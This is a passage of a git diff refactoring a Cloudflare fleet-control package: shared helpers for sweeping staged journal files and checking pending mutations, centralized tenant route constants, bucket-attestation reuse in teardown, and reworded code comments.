writeDirectEvidence({ fileFlags(constants.O_RDONLY | constants.O_DIRECTORY), ); assertPrivate(await parent.stat(), true); - // A signal between the create below and the rename leaves the temporary - // file behind. The run holds the directory's lock, so any sibling left - // there is a dead one from an interrupted publication, and it is swept - // before a new one is created. - for (const name of await readdir(directory)) - if (name.startsWith(TEMPORARY_PREFIX) && name.endsWith(TEMPORARY_SUFFIX)) - await unlink(join(directory, name)); + await sweepStagedFiles(directory, TEMPORARY_PREFIX, TEMPORARY_SUFFIX); const path = join( directory, `${TEMPORARY_PREFIX}${randomUUID()}${TEMPORARY_SUFFIX}`, diff --git a/packages/fleet-control/scripts/direct-credentialed-observations.mjs b/packages/fleet-control/scripts/direct-credentialed-observations.mjs index 40d02ee0..9a76570c 100644 --- a/packages/fleet-control/scripts/direct-credentialed-observations.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-observations.mjs @@ -14,6 +14,7 @@ import { openDirectProviderSession, validateProviderAuth, } from './direct-credentialed-provider.mjs'; +import { mutationPending } from './direct-credentialed-run-state.mjs'; const CODES = new Set([ 'invalid-input', @@ -39,6 +40,17 @@ export class DirectObservationError extends Error { function refuse(code = 'observation-mismatch') { throw new DirectObservationError(code); } +// Releases a body no one will read, handing the cancellation the refusal that +// reached the exit. Not awaited: a hostile source can hang its own cancel. +function cancelAndRefuse(response, code = 'observation-mismatch') { + const refusal = new DirectObservationError(code); + try { + void response?.body?.cancel(refusal).catch(() => {}); + } catch { + /* The abortable pipe owns a locked source. */ + } + throw refusal; +} function object(value) { if (!value || typeof value !== 'object' || Array.isArray(value)) refuse(); return value; @@ -95,8 +107,7 @@ function context(input) { maxInvocations: config.referenceWorker.maxInvocations, }); const bootstrap = snapshot.bootstrap; - if (snapshot.lastInvocation?.state === 'pending' || bootstrap?.pending) - refuse('outcome-unknown'); + if (mutationPending(snapshot)) refuse('outcome-unknown'); if ( snapshot.version !== 2 || !bootstrap || @@ -651,13 +662,13 @@ export async function verifyDirectDecommissionExport(input) { (response.headers.has('content-encoding') && response.headers.get('content-encoding') !== 'identity') ) - refuse(); + cancelAndRefuse(response); const length = response.headers.get('content-length'); if ( length !== null && (!/^[1-9][0-9]*$/u.test(length) || Number(length) !== metadata.size) ) - refuse(); + cancelAndRefuse(response); if (!response.body) refuse(); const reader = response.body.getReader(); const digest = createHash('sha256'); diff --git a/packages/fleet-control/scripts/direct-credentialed-reference-vocabulary.mjs b/packages/fleet-control/scripts/direct-credentialed-reference-vocabulary.mjs index 38388897..fa04a4c3 100644 --- a/packages/fleet-control/scripts/direct-credentialed-reference-vocabulary.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-reference-vocabulary.mjs @@ -47,8 +47,8 @@ export const DIRECT_TEARDOWN_FAILURES = Object.freeze([ ]); // A recorded refusal carrying one of these reasons is one a later run can -// clear: the scenario can complete, and a pending invocation or bootstrap -// mutation can settle. Every other reason stays terminal for automation. +// clear: each is re-checked by the guard that raises it, so a re-entry advances +// once that guard passes. Every other reason stays terminal for automation. export const DIRECT_TEARDOWN_RECOVERABLE_FAILURES = Object.freeze([ 'scenario-incomplete', 'outcome-unknown', diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts index 95c36c8e..7b5d8fa2 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts @@ -271,15 +271,6 @@ export const DIRECT_SCENARIO_OPERATION_SLOTS: readonly [ 'decommission-recovery', ]; -export { - DIRECT_RESIDUAL_SURFACES, - DIRECT_TEARDOWN_FAILURES, - DIRECT_TEARDOWN_MAXIMA, - DIRECT_TEARDOWN_MUTATIONS, - DIRECT_TEARDOWN_PHASES, - DIRECT_TEARDOWN_RECOVERABLE_FAILURES, -} from './direct-credentialed-reference-vocabulary.mjs'; - export const DIRECT_RUN_MAX_JOURNAL_BYTES: number; export const DIRECT_SCENARIO_ARRAY_MAXIMA: Readonly<{ @@ -342,6 +333,17 @@ export function fileFlags(access: number): number; */ export function assertPrivate(stat: Stats, directory: boolean): void; +/** + * Removes the staging files a `prefix`/`suffix` pair names from `directory`, + * which an interrupted publication leaves behind between a create and its + * rename. + */ +export function sweepStagedFiles( + directory: string, + prefix: string, + suffix: string, +): Promise; + /** * The 24-byte ISO-8601 shape every journal and evidence timestamp carries. * Anchored and stateless, so callers share the one pattern. diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs index 9377b9f0..51def0eb 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs @@ -32,17 +32,6 @@ import { readDirectReferenceRequest, } from './direct-reference-contract.mjs'; -// Consumers bind to the teardown vocabulary through this module's declaration -// surface, so it travels with the journal schemas that read it. -export { - DIRECT_RESIDUAL_SURFACES, - DIRECT_TEARDOWN_FAILURES, - DIRECT_TEARDOWN_MAXIMA, - DIRECT_TEARDOWN_MUTATIONS, - DIRECT_TEARDOWN_PHASES, - DIRECT_TEARDOWN_RECOVERABLE_FAILURES, -}; - const ERROR_CODES = new Set([ 'invalid-state', 'run-exists', @@ -1476,6 +1465,18 @@ export function fileFlags(access) { return access | constants.O_NOFOLLOW | constants.O_NONBLOCK; } +/** + * Removes the staging files a `prefix`/`suffix` pair names from `directory`. A + * signal between a staging file's create and its rename leaves it behind, and + * the run holds the directory's lock, so any sibling the pair matches is a dead + * one from an interrupted publication. + */ +export async function sweepStagedFiles(directory, prefix, suffix) { + for (const name of await readdir(directory)) + if (name.startsWith(prefix) && name.endsWith(suffix)) + await unlink(join(directory, name)); +} + async function privateDirectory(path) { const handle = await open( path, @@ -1584,18 +1585,6 @@ function serialize(snapshot) { const JOURNAL_TEMPORARY_PREFIX = '.journal-'; const JOURNAL_TEMPORARY_SUFFIX = '.tmp'; -// A signal between a snapshot's create and its rename leaves the staging file -// behind. The run holds the directory's lock, so any sibling left there is a -// dead one from an interrupted publication. -async function sweepStagedSnapshots(directory) { - for (const name of await readdir(directory)) - if ( - name.startsWith(JOURNAL_TEMPORARY_PREFIX) && - name.endsWith(JOURNAL_TEMPORARY_SUFFIX) - ) - await unlink(join(directory, name)); -} - async function writeSnapshot(directory, handle, snapshot) { const temporary = join( directory, @@ -2106,7 +2095,11 @@ export async function openDirectRunState(input) { if (!(await exists(directory))) throw new DirectRunStateError('run-missing'); directoryHandle = await privateDirectory(directory); - await sweepStagedSnapshots(directory); + await sweepStagedFiles( + directory, + JOURNAL_TEMPORARY_PREFIX, + JOURNAL_TEMPORARY_SUFFIX, + ); snapshot = await readSnapshot(join(directory, 'journal.json'), binding); if (mutationPending(snapshot)) throw new DirectRunStateError('outcome-unknown'); diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario.mjs index 579814a2..2077bb7f 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-scenario.mjs @@ -15,6 +15,7 @@ import { DIRECT_SCENARIO_FAILURES, DirectRunStateError, isForceIdentity, + mutationPending, } from './direct-credentialed-run-state.mjs'; import { DIRECT_SCENARIO_MIN_INVOCATIONS, @@ -123,11 +124,7 @@ export async function runDirectCredentialedScenario(input) { }; const invoke = async (action, mutates = false, migration = null) => { const snapshot = journal.snapshot(); - requireFact( - snapshot.lastInvocation?.state !== 'pending' && - !snapshot.bootstrap?.pending, - 'outcome-unknown', - ); + requireFact(!mutationPending(snapshot), 'outcome-unknown'); const remaining = snapshot.binding.maxInvocations - snapshot.invocationCount; checkInvocationHeadroom(state.phase, state.phaseCalls, remaining); @@ -804,11 +801,7 @@ export async function runDirectCredentialedScenario(input) { busy.add(journal); acquired = true; const snapshot = journal.snapshot(); - requireFact( - snapshot.lastInvocation?.state !== 'pending' && - !snapshot.bootstrap?.pending, - 'outcome-unknown', - ); + requireFact(!mutationPending(snapshot), 'outcome-unknown'); requireFact( snapshot.bootstrap?.controlReadOrdinal && snapshot.binding.configSha256 === prepared.configSha256 && @@ -1227,12 +1220,7 @@ export async function runDirectCredentialedScenario(input) { const detail = failureDetails.has(error?.detail) ? error.detail : undefined; let code = observed; const snapshot = acquired ? journal.snapshot() : null; - if ( - state && - snapshot && - snapshot.lastInvocation?.state !== 'pending' && - !snapshot.bootstrap?.pending - ) { + if (state && snapshot && !mutationPending(snapshot)) { state.failure ??= { code: observed, ordinal: snapshot.invocationCount, diff --git a/packages/fleet-control/scripts/direct-credentialed-teardown.mjs b/packages/fleet-control/scripts/direct-credentialed-teardown.mjs index 6db9b2f4..dfa756ac 100644 --- a/packages/fleet-control/scripts/direct-credentialed-teardown.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-teardown.mjs @@ -262,11 +262,12 @@ export async function teardownDirectReference(input) { const bucket = bootstrap.exports.name; const zoneId = bootstrap.context.zoneId; // A recorded refusal is terminal for automation unless its reason is one a - // later run clears: an incomplete scenario, or an invocation or bootstrap - // mutation that was pending. The two operands beside it are the - // preconditions themselves, so a re-entry advances only once they hold; - // an identity mismatch, a forbidden answer and an exhausted budget stay - // terminal. + // later run clears: an incomplete scenario, or an invocation, bootstrap or + // teardown mutation whose outcome was unknown. Each of those reasons is + // re-checked by the guard that raises it — the scenario operands in this + // expression, `mutationPending` above, and `mutate`'s own re-probe for the + // refusal it records; an identity mismatch, a forbidden answer and an + // exhausted budget stay terminal. const refusing = (teardown?.phase === 'refused' && !DIRECT_TEARDOWN_RECOVERABLE_FAILURES.includes(teardown.failure)) || @@ -739,11 +740,11 @@ export async function teardownDirectReference(input) { refuse('unexpected-object'); return rows; }; + // One attestation for the whole bucket sequence: the first call proves the + // bucket, and every step below reads that same proof. + let attested; + const attestBucket = () => (attested ??= bucketIdentity()); if (receipts.exportObjects.length < confirmed.length) { - // One attestation for the whole block: the call below proves the bucket, - // and each delete's `identity` reads that same proof. - let attested; - const attestBucket = () => (attested ??= bucketIdentity()); // Ownership is attested before the content checks, so an unexpected // object cannot pre-empt the proof that this is the run's own bucket. // An absent bucket refuses as `provider-unavailable` here exactly as it @@ -777,6 +778,9 @@ export async function teardownDirectReference(input) { } if (!receipts.exports) { + // A resume that owes only this step has skipped the block above, so the + // attestation happens here, ahead of the content check below. + await attestBucket(); // The empty prefix is owed by the run that deletes the bucket, not by // the run that issued the object deletes: a resume holding every object // receipt reads the prefix here rather than inheriting an earlier run's @@ -793,7 +797,7 @@ export async function teardownDirectReference(input) { nextPhase: 'exports', field: 'exports', probe: bucketProbe, - identity: bucketIdentity, + identity: attestBucket, call: () => settled.r2.buckets.delete( bucket, diff --git a/packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts b/packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts index 187783d7..551da277 100644 --- a/packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts @@ -2,6 +2,12 @@ export const DIRECT_TENANT_OBJECT_KEY: 'direct-conformance-fixture'; export const DIRECT_TENANT_OBJECT_BODY: 'direct-conformance-fixture-data'; +export const DIRECT_TENANT_ROUTES: Readonly<{ + health: '/__direct/health'; + object: '/__direct/object'; + fenceMutate: '/__direct/fence-mutate'; + fenceProbe: '/__direct/fence-probe'; +}>; export function directTenantMutationEpoch(release: string | undefined): number; export function directTenantProbeEpoch( release: string | undefined, diff --git a/packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs b/packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs index 14a0d9c1..6a685875 100644 --- a/packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs @@ -3,6 +3,16 @@ export const DIRECT_TENANT_OBJECT_KEY = 'direct-conformance-fixture'; export const DIRECT_TENANT_OBJECT_BODY = 'direct-conformance-fixture-data'; +// The `/__direct/*` routes the tenant Worker answers. The reference harness +// admits this set rather than restating it, so the harness and the router +// cannot disagree about which requests exist. +export const DIRECT_TENANT_ROUTES = Object.freeze({ + health: '/__direct/health', + object: '/__direct/object', + fenceMutate: '/__direct/fence-mutate', + fenceProbe: '/__direct/fence-probe', +}); + // The caller epoch an artifact of this release carries. Release 2 is the // post-cutover artifact; release 1 predates the activation and is therefore // stale once the control plane advances the fence. One definition, because the diff --git a/packages/fleet-control/scripts/direct-credentialed-tenant.ts b/packages/fleet-control/scripts/direct-credentialed-tenant.ts index 6622fe55..13f84d3e 100644 --- a/packages/fleet-control/scripts/direct-credentialed-tenant.ts +++ b/packages/fleet-control/scripts/direct-credentialed-tenant.ts @@ -35,6 +35,7 @@ import { import { DIRECT_TENANT_OBJECT_BODY, DIRECT_TENANT_OBJECT_KEY, + DIRECT_TENANT_ROUTES, directTenantMutationEpoch, directTenantProbeEpoch, } from './direct-credentialed-tenant-object.mjs'; @@ -65,10 +66,10 @@ type FenceRoute = ( body?: string, ) => Promise; -async function readFenceBody(request: Request, probe: boolean) { +async function readFenceBody(request: Request, emptyBodyAllowed: boolean) { const input = await readBoundedBody(request, 256); if (!input.ok) return null; - if (input.text === '') return probe ? null : {}; + if (input.text === '') return emptyBodyAllowed ? {} : null; let value: unknown; try { value = JSON.parse(input.text); @@ -196,7 +197,7 @@ function fenceMutateAnswer({ response, result }: FenceOutcome) { } async function handleFenceProbe(request: Request, env: DirectTenantEnv) { - const parsed = await readFenceBody(request, true); + const parsed = await readFenceBody(request, false); if (!parsed) return new Response('Invalid body', { status: 400 }); const label = parsed.epoch; if ( @@ -224,7 +225,7 @@ async function handleFenceMutate( env: DirectTenantEnv, resolve: ActorResolver, ) { - const parsed = await readFenceBody(request, false); + const parsed = await readFenceBody(request, true); if (!parsed) return new Response('Invalid body', { status: 400 }); const phase = parsed.phase === undefined ? 'both' : parsed.phase; if (phase !== 'both' && phase !== 'create' && phase !== 'delete') @@ -268,12 +269,12 @@ const config: FlowsafeWorkerConfig = { if (!(await kit.resolve(request))) return new Response('Unauthorized', { status: 401 }); if (request.method === 'POST') { - if (path === '/__direct/fence-probe') + if (path === DIRECT_TENANT_ROUTES.fenceProbe) return handleFenceProbe(request, env); - if (path === '/__direct/fence-mutate') + if (path === DIRECT_TENANT_ROUTES.fenceMutate) return handleFenceMutate(request, env, kit.resolve); } - if (path === '/__direct/health' && request.method === 'GET') { + if (path === DIRECT_TENANT_ROUTES.health && request.method === 'GET') { const row = await env.DB.prepare( 'SELECT marker FROM direct_conformance_fixture WHERE id = 1', ).first<{ marker: string }>(); @@ -282,7 +283,7 @@ const config: FlowsafeWorkerConfig = { marker: row?.marker ?? null, }); } - if (path === '/__direct/object') { + if (path === DIRECT_TENANT_ROUTES.object) { if (request.method === 'POST') { await env.PROBE_BUCKET.put( DIRECT_TENANT_OBJECT_KEY, diff --git a/packages/fleet-control/scripts/direct-reference-fence.ts b/packages/fleet-control/scripts/direct-reference-fence.ts index 2ca8c98c..ab350e2d 100644 --- a/packages/fleet-control/scripts/direct-reference-fence.ts +++ b/packages/fleet-control/scripts/direct-reference-fence.ts @@ -2,6 +2,7 @@ import type { ExecutionFenceState as FenceState } from '@proofoftech/flowsafe/do-runner'; import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs'; +import { DIRECT_TENANT_ROUTES } from './direct-credentialed-tenant-object.mjs'; import type { DirectReferenceContext } from './direct-reference-context.js'; import type { DirectReferenceAction } from './direct-reference-contract.mjs'; import { DirectReferenceExecutionError } from './direct-reference-http.js'; @@ -30,6 +31,10 @@ const PROBE_EPOCHS = Object.freeze({ 'probe-future': 'future', }); +/** Membership in `PROBE_EPOCHS`, and the narrowing its index needs. */ +const isProbeOperation = (value: string): value is keyof typeof PROBE_EPOCHS => + Object.hasOwn(PROBE_EPOCHS, value); + type FenceTransitionResult = | { ok: true; after: DirectFenceReading } | { @@ -134,7 +139,7 @@ export async function dispatchDirectFence( if (!spec.routeHostname) throw new DirectReferenceExecutionError(); const { operation } = action; const application = - operation === 'mutate-current' || Object.hasOwn(PROBE_EPOCHS, operation); + operation === 'mutate-current' || isProbeOperation(operation); const secrets = context.secrets(action.role); const supplied = application ? secrets.application?.APP_PROBE_TOKEN @@ -212,7 +217,7 @@ export async function dispatchDirectFence( return { fence, categories, observedAt: Date.now() }; } if (operation === 'mutate-current') { - const { value } = await request('/__direct/fence-mutate', { + const { value } = await request(DIRECT_TENANT_ROUTES.fenceMutate, { phase: 'both', }); return { @@ -224,14 +229,9 @@ export async function dispatchDirectFence( ...(value.status === undefined ? {} : { status: counter(value.status) }), }; } - if ( - operation !== 'probe-missing' && - operation !== 'probe-stale' && - operation !== 'probe-future' - ) - throw new DirectReferenceExecutionError(); + if (!isProbeOperation(operation)) throw new DirectReferenceExecutionError(); const epoch = PROBE_EPOCHS[operation]; - const { value } = await request('/__direct/fence-probe', { epoch }); + const { value } = await request(DIRECT_TENANT_ROUTES.fenceProbe, { epoch }); const classification = text(value.classification); if ( value.epoch !== epoch || diff --git a/packages/fleet-control/scripts/direct-reference-worker.ts b/packages/fleet-control/scripts/direct-reference-worker.ts index 44908535..a829880b 100644 --- a/packages/fleet-control/scripts/direct-reference-worker.ts +++ b/packages/fleet-control/scripts/direct-reference-worker.ts @@ -1,6 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs'; +import { DIRECT_TENANT_ROUTES } from './direct-credentialed-tenant-object.mjs'; import { createDirectReferenceContext, type DirectReferenceContext, @@ -68,7 +69,9 @@ export async function probeDirectTenant( throw new DirectReferenceExecutionError(); const { role, operation } = action; const url = new URL( - operation === 'health' ? '/__direct/health' : '/__direct/object', + operation === 'health' + ? DIRECT_TENANT_ROUTES.health + : DIRECT_TENANT_ROUTES.object, `https://${spec.routeHostname}`, ); const method = diff --git a/packages/fleet-control/src/backend-switch.ts b/packages/fleet-control/src/backend-switch.ts index eceab774..ba3c1dbc 100644 --- a/packages/fleet-control/src/backend-switch.ts +++ b/packages/fleet-control/src/backend-switch.ts @@ -95,6 +95,7 @@ import type { ProvisioningPhase, } from './types.js'; import { + applicationR2ResourceFromProgress, assertNoActiveCleanup, assertNoActiveDecommission, BACKEND_SWITCH_SUBPHASES, @@ -2502,9 +2503,8 @@ function withoutConsumedSwitchEntryCarriers( // The top-level `applicationResources` a switch teardown's record carries: the // `applicationR2Progress` entries the teardown persists, projected back onto -// the resources they track. `assertCompleteRecord` compares a record's own -// states against this same projection, so the paths that write a teardown -// record share the one expression that produces it. +// the resources they track through `applicationR2ResourceFromProgress`, which +// `assertCompleteRecord` also reads to compare a record's own states. function switchTeardownApplicationResources( intent: BackendSwitchIntent, ): readonly import('./types.js').ApplicationR2Resource[] { @@ -2515,7 +2515,7 @@ function switchTeardownApplicationResources( subphase: resource.state, })) ?? [] - ).map(({ resource, subphase }) => ({ ...resource, state: subphase })); + ).map(applicationR2ResourceFromProgress); } /** @internal Atomically consumes switch-entry carriers and installs its shell. */ @@ -4205,10 +4205,9 @@ async function decommissionBackendSwitchLegacy(options: { await convergeApplicationR2Deletion({ spec: options.targetSpec, - resources: applicationR2Progress.map(({ resource, subphase }) => ({ - ...resource, - state: subphase, - })), + resources: applicationR2Progress.map( + applicationR2ResourceFromProgress, + ), backend: { findApplicationR2Bucket: (resource) => options.provider.findSwitchApplicationR2(resource), @@ -5646,6 +5645,11 @@ export interface AdvanceBackendSwitchDecommissionOptions { readonly currentSpec?: DeploymentSpec; readonly action: DecommissionAdvanceAction; readonly maxProviderRequests: number; + /** + * Call-local cancellation, never persisted. This engine forwards it to the + * bounded attachment scan, which is where it is honoured; the engine takes + * no step of its own on it. + */ readonly signal?: AbortSignal; readonly clock?: () => number; readonly randomUUID: () => string; diff --git a/packages/fleet-control/src/cleanup-advance.ts b/packages/fleet-control/src/cleanup-advance.ts index 23187c87..49be0b07 100644 --- a/packages/fleet-control/src/cleanup-advance.ts +++ b/packages/fleet-control/src/cleanup-advance.ts @@ -389,10 +389,10 @@ async function commit( } function assertBackendSwitchInactiveForCleanup(record: FleetRecord): void { - // The settled-subphase set is the one backend-switch.ts - // assertBackendSwitchInactive reads, so the two cannot drift apart. This - // engine reads it from types.ts because the transport-neutral rule forbids - // importing backend-switch.ts here and permits types.ts. + // Reads the same settled-subphase set as backend-switch.ts's + // assertBackendSwitchInactive. This engine reads it from types.ts because + // the transport-neutral rule forbids importing backend-switch.ts here and + // permits types.ts. if ( record.backendSwitchIntent && !SETTLED_BACKEND_SWITCH_SUBPHASES.has(record.backendSwitchIntent.subphase) diff --git a/packages/fleet-control/src/cloudflare-control-plane.ts b/packages/fleet-control/src/cloudflare-control-plane.ts index 4789be19..35d1eb9c 100644 --- a/packages/fleet-control/src/cloudflare-control-plane.ts +++ b/packages/fleet-control/src/cloudflare-control-plane.ts @@ -36,7 +36,6 @@ import { } from './fleet-inventory-advance.js'; import type { FleetInventoryGenerationRef } from './fleet-inventory-state.js'; import { - type AdvanceFleetMigrationOptions, abandonFleetMigrationOperation, advanceFleetMigration, type FleetMigrationAdvanceAction, @@ -329,8 +328,9 @@ export interface CloudflareAdvanceFleetMigrationOptions { readonly clock?: () => number; readonly signal?: AbortSignal; /** - * Carries {@link AdvanceFleetMigrationOptions.onComplete}'s delivery - * contract. + * Carries the delivery contract of + * {@link index!AdvanceFleetMigrationOptions.onComplete | + * AdvanceFleetMigrationOptions.onComplete}. */ readonly onComplete?: ( result: FleetMigrationResultRef, diff --git a/packages/fleet-control/src/d1-fleet-inventory-run-store.ts b/packages/fleet-control/src/d1-fleet-inventory-run-store.ts index bf16012c..97ce114e 100644 --- a/packages/fleet-control/src/d1-fleet-inventory-run-store.ts +++ b/packages/fleet-control/src/d1-fleet-inventory-run-store.ts @@ -29,14 +29,14 @@ const ROW_TABLE = 'anchorage_fleet_inventory_rows'; const FACT_TABLE = 'anchorage_fleet_inventory_deployment_facts'; const LEASE_TABLE = 'anchorage_fleet_inventory_leases'; const PIN_TABLE = 'anchorage_fleet_inventory_pins'; -// state-store.ts:132-133 holds the same two integers and exports neither; -// widening its surface for them couples the inventory store to the deployment -// store. +// state-store.ts declares LEASE_TTL_MS and LEASE_RENEWAL_INTERVAL_MS with the +// same values and exports neither; widening its surface for them couples the +// inventory store to the deployment store. const LEASE_TTL_MS = 15 * 60_000; const LEASE_RENEWAL_INTERVAL_MS = 5 * 60_000; -// Byte-identical to state-store.ts:134. The Wrangler harness lease clock -// rewrites exactly this substring, so every SQL string in this module must -// express database time with this token and no other time expression. +// Byte-identical to state-store.ts's DB_NOW_MS. The Wrangler harness lease +// clock rewrites exactly this substring, so every SQL string in this module +// must express database time with this token and no other time expression. const DB_NOW_MS = "CAST(unixepoch('subsec') * 1000 AS INTEGER)"; const PRUNE_LIMIT_MAX = 1_000; const ROW_KIND_CHECK = FLEET_INVENTORY_ROW_KINDS.map( diff --git a/packages/fleet-control/src/decommission-intent.ts b/packages/fleet-control/src/decommission-intent.ts index e76413f4..84224c3b 100644 --- a/packages/fleet-control/src/decommission-intent.ts +++ b/packages/fleet-control/src/decommission-intent.ts @@ -23,6 +23,7 @@ import type { NormalDecommissionLifecyclePhase, } from './types.js'; import { + applicationR2ResourceFromProgress, BACKEND_SWITCH_SUBPHASES, isPlatformCatalogRecord, RETIRED_BACKEND_SWITCH_SUBPHASE, @@ -304,12 +305,7 @@ function applicationResourceProgressMatches( } return ( JSON.stringify(source.applicationResources ?? []) === - JSON.stringify( - progress.map(({ resource, subphase }) => ({ - ...resource, - state: subphase, - })), - ) + JSON.stringify(progress.map(applicationR2ResourceFromProgress)) ); } diff --git a/packages/fleet-control/src/fleet-audit-advance.ts b/packages/fleet-control/src/fleet-audit-advance.ts index d680ffdf..7fc55a46 100644 --- a/packages/fleet-control/src/fleet-audit-advance.ts +++ b/packages/fleet-control/src/fleet-audit-advance.ts @@ -48,13 +48,17 @@ import { withheldAuditDetail, } from './fleet-audit-state.js'; import { readFleetInventoryGeneration } from './fleet-inventory-advance.js'; -import type { FleetInventoryRunStore } from './fleet-inventory-state.js'; +import { + FLEET_INVENTORY_GENERATION_READ_MEMBERS, + type FleetInventoryRunStore, +} from './fleet-inventory-state.js'; import { assertFleetOperationId, classifyFleetOperationToken, FLEET_OPERATION_ITEM_BOUND, FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, FLEET_OPERATION_STAGE_BATCH_STATEMENTS, + FLEET_OPERATION_STORE_ADVANCE_MEMBERS, type FleetOperationFailure, type FleetOperationLease, type FleetOperationRunRecord, @@ -123,7 +127,7 @@ export interface AdvanceFleetAuditOptions { * `updatedAt` from wall clock. Defaults to `Date.now`. */ readonly auditClock?: () => number; - /** Feeds only the re-arm's authority clock (§6.1); default `Date.now`. */ + /** Feeds only the re-arm's authority clock; default `Date.now`. */ readonly authorityClock?: () => number; /** * Call-local only; never persisted. Read at the entry and before each @@ -194,15 +198,8 @@ const CAPABILITY_MESSAGES: Readonly< const CAPABILITY_MEMBERS: Readonly< Record > = Object.freeze({ - 'operation-store': Object.freeze([ - 'withAccountOperationLease', - 'readOperationById', - 'readOperationRowsPage', - ]), - 'generation-read': Object.freeze([ - 'readFinalizedGeneration', - 'readRunByOperation', - ]), + 'operation-store': FLEET_OPERATION_STORE_ADVANCE_MEMBERS, + 'generation-read': FLEET_INVENTORY_GENERATION_READ_MEMBERS, 'generation-pin': Object.freeze(['pinGeneration', 'releasePin']), }); @@ -219,8 +216,8 @@ export class FleetAuditAdvanceCapabilityError extends Error { * `object` rather than a port type because this coordinator gates two * unrelated ports (the operation store and the inventory store) through the * same table, and it is named for the audit capability set rather than for - * one store — the R3 sibling's `assertStoreCapability` gates a single store - * and keeps the narrower name. + * one store — fleet-inventory-advance.ts's `assertStoreCapability` gates a + * single store and keeps the narrower name. */ function assertCapability( target: object, @@ -317,10 +314,10 @@ function fleetAuditFindingKind( } /** - * Non-throwing durable write gate (§5.1/§6.4): the bounded path gates; the - * drain never does. Only `detail` is gated: `tenantTag` and `environment` - * reach the row verbatim, which is the round-3 adjudication, so the name says - * gated DETAIL rather than a sanitized row. + * Non-throwing durable write gate: the bounded path gates; the drain never + * does. Only `detail` is gated: `tenantTag` and `environment` reach the row + * verbatim, which is the round-3 adjudication, so the name says gated DETAIL + * rather than a sanitized row. */ function findingRowWithGatedDetail( finding: DriftFinding, @@ -811,8 +808,8 @@ async function advancePerRecordChunk( findingRows.push(row); } - // §5.5 DETECTION MECHANISM: the coordinator computes the batch-budget - // overflow itself and never lets the store's own guard fire. + // The coordinator computes the batch-budget overflow itself and never lets + // the store's own guard fire. if ( findingRows.length + newFacts.length + 1 > FLEET_OPERATION_STAGE_BATCH_STATEMENTS @@ -905,7 +902,6 @@ async function advanceOneChunk( }); return pendingFromCommitted(committed); } - const perRecordAuditedRecords = fleetAuditAuditedRecords(records); return advancePerRecordChunk( options, lease, @@ -914,7 +910,7 @@ async function advanceOneChunk( perRecordStage, inventory, records, - perRecordAuditedRecords, + fleetAuditAuditedRecords(records), ); } const auditedRecords = fleetAuditAuditedRecords(records); @@ -1147,14 +1143,14 @@ async function startAudit( return pendingFromCommitted(committed); } catch { // Every throw from the revision-1 replay resolves to the same answer, - // and the catch is unnarrowed for that reason: for a - // far-advanced running (or since-terminal) operation the CAS cannot - // converge, and for a lost lease or a store fault the operation's - // current authoritative state is still the only truthful reply. The - // caller therefore receives exactly what a stale-token continue would - // return (§5.5) — which is a report of durable state, never a claim - // that this call succeeded. If no state can be read back at all, the - // reads below throw rather than invent one. + // and the catch is unnarrowed for that reason: for a far-advanced + // running (or since-terminal) operation the CAS cannot converge, and + // for a lost lease or a store fault the operation's current + // authoritative state is still the only truthful reply. The caller + // therefore receives exactly what a stale-token continue would return + // — which is a report of durable state, never a claim that this call + // succeeded. If no state can be read back at all, the reads below + // throw rather than invent one. const current = await lease.readOperation(operationId); if (current) return resultFromRun(current); const persisted = @@ -1299,7 +1295,7 @@ export async function readFleetAuditFindingsPage( /** * Unblocks a stuck RUNNING audit operation, or releases any surviving pin on - * an already-terminal one (§5.5 ABANDONMENT). Idempotent throughout. + * an already-terminal one. Idempotent throughout. */ export async function abandonFleetAuditOperation( input: Readonly<{ diff --git a/packages/fleet-control/src/fleet-audit-state.ts b/packages/fleet-control/src/fleet-audit-state.ts index 9861a61b..79e8210f 100644 --- a/packages/fleet-control/src/fleet-audit-state.ts +++ b/packages/fleet-control/src/fleet-audit-state.ts @@ -139,9 +139,10 @@ export type FleetAuditFactPayload = * Byte-bounded provider-claimed text: a string within the module's string * byte bound, with NO non-empty requirement. * - * Admitting the empty string is the deliberate §5.1 EXCEPTION round 3 - * established, not an oversight — do not add a `value.length > 0` clause - * back. `fleetOperationBoundedString`, which still carried that superseded + * Admitting the empty string is the exception this predicate exists for: + * provider-claimed text carries no non-empty requirement, so a + * `value.length > 0` clause here refuses a conforming value. + * `fleetOperationBoundedString`, which still carried that superseded * clause under a near-identical name, was deleted for exactly that reason; * the name here says what the predicate is for rather than what it bounds. */ diff --git a/packages/fleet-control/src/fleet-inventory-advance.ts b/packages/fleet-control/src/fleet-inventory-advance.ts index bfc8b545..741115b5 100644 --- a/packages/fleet-control/src/fleet-inventory-advance.ts +++ b/packages/fleet-control/src/fleet-inventory-advance.ts @@ -1,13 +1,13 @@ // SPDX-License-Identifier: Apache-2.0 -// The 9..1,000 provider-request contract and its refusal bytes are shared with -// the attachment scanner; duplicating the message would let the two drift. +// Shares the request-budget contract cloudflare-fleet-inventory.ts states. import { assertWorkerAttachmentProviderRequestBudget } from './cloudflare-worker-attachment-scan-state.js'; import { advanceFleetInventoryProgress, type CollectFleetInventoryOptions, 